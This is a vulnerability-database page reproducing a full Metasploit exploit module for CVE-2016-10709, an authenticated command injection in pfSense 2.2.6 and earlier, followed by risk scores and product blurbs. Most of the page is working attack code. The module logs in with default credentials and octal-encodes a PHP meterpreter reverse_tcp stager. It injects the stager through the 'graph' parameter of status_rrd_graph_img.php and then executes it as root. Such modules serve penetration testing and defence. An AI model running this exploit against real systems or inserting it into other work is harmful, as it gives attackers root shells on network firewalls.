Lucene search
K

pfSense authenticated graph status RCE

🗓️ 01 Jan 2018 09:18:51Reported by Security-Assessment.com, Milton Valencia, Jared StephensType 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

pfSense version <= 2.2.6 contains a remote command execution vulnerability post authentication in the _rrd_graph_img.php pag

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2016-10709
29 May 201815:50
circl
CNVD
Electric Sheep Fencing pfSense 'graph' Parameter Command Execution Vulnerability
24 Jan 201800:00
cnvd
CVE
CVE-2016-10709
22 Jan 201804:00
cve
Cvelist
CVE-2016-10709
22 Jan 201804:00
cvelist
GithubExploit
Exploit for OS Command Injection in Pfsense
26 Apr 201702:03
githubexploit
NVD
CVE-2016-10709
22 Jan 201804:29
nvd
Tenable Nessus
pfSense < 2.3 Multiple Vulnerabilities (SA-16_01 - SA-16_02)
31 Jan 201800:00
nessus
Prion
Design/Logic Flaw
22 Jan 201804:29
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'pfSense authenticated graph status RCE',
        'Description' => %q(
          pfSense, a free BSD based open source firewall distribution,
          version <= 2.2.6 contains a remote command execution
          vulnerability post authentication in the _rrd_graph_img.php page.
          The vulnerability occurs via the graph GET parameter. A non-administrative
          authenticated attacker can inject arbitrary operating system commands
          and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
        ),
        'Author'      =>
          [
            'Security-Assessment.com', # discovery
            'Milton Valencia',         # metasploit module <wetw0rk>
            'Jared Stephens',          # python script     <mvrk>
          ],
        'References'  =>
          [
            [ 'CVE', '2016-10709' ],
            [ 'EDB', '39709' ],
            [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'php',
        'Privileged'     => 'true',
        'DefaultOptions' =>
          {
            'SSL'     => true,
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64'
          },
        'Arch'           => [ ARCH_PHP ],
        'Payload'        =>
          {
            'Space'  => 6000,
            'Compat' =>
              {
                'ConnectionType' => '-bind',
              }
          },
        'Targets'        => [[ 'Automatic Target', {} ]],
        'DefaultTarget'  => 0,
        'DisclosureDate' => '2016-04-18',
      )
    )

    register_options(
      [
        OptString.new('USERNAME',  [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD',  [ true, 'Password to login with', 'pfsense']),
        Opt::RPORT(443)
      ], self.class
    )
  end

  def login
    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'GET'
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200

    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_status("CSRF Token for login: #{csrf}")

    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld'  => datastore['USERNAME'],
        'passwordfld'  => datastore['PASSWORD'],
        'login'        => ''
      }
    )
    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
    end
    if res.code == 302
      vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      return res.get_cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      return nil
    end
  end

  def detect_version(cookie)
    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'GET',
      'cookie' => cookie
    )
    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
    end
    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
    if version
      print_status("Detected pfSense #{version}, uploading intial payload")
      return Rex::Version.new(version)
    end
    # If the device isn't fully setup, you get stuck at redirects to wizard.php
    # however, this does NOT stop exploitation strangely
    print_error('pfSense version not detected or wizard still enabled.')
    Rex::Version.new('0.0')
  end

  def exploit
    begin
      cookie   = login
      version  = detect_version(cookie)
      filename = rand_text_alpha(rand(1..10))

      # generate the PHP meterpreter payload
      stager = 'echo \'<?php '
      stager << payload.encode
      stager << "?>\' > #{filename}"
      # here we begin the encoding process to
      # convert the payload to octal! Ugly code
      # don't look
      complete_stage = ""
      for i in 0..(stager.length()-1)
        if version.to_s =~ /2.2/
          complete_stage << '\\'
        end
        complete_stage << "\\#{stager[i].ord.to_s(8)}"
      end

      res = send_request_cgi(
        'uri'      => '/status_rrd_graph_img.php',
        'method'   => 'GET',
        'cookie'   => cookie,
        'vars_get' => {
          'database' => '-throughput.rrd',
          'graph'    => "file|printf '#{complete_stage}'|sh|echo",
        }
      )

      if res && res.code == 200
        print_status('Payload uploaded successfully, executing')
        register_file_for_cleanup(filename)
      else
        print_error('Failed to upload payload...')
      end

      res = send_request_cgi({
        'uri'     => '/status_rrd_graph_img.php',
        'method'  => 'GET',
        'cookie'  => cookie,
        'vars_get' => {
          'database' => '-throughput.rrd',
          'graph'    => "file|php #{filename}|echo "
        }
      })
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2021 16:47Current
7.8High risk
Vulners AI Score7.8
CVSS 29
CVSS 38.8
EPSS0.34253
45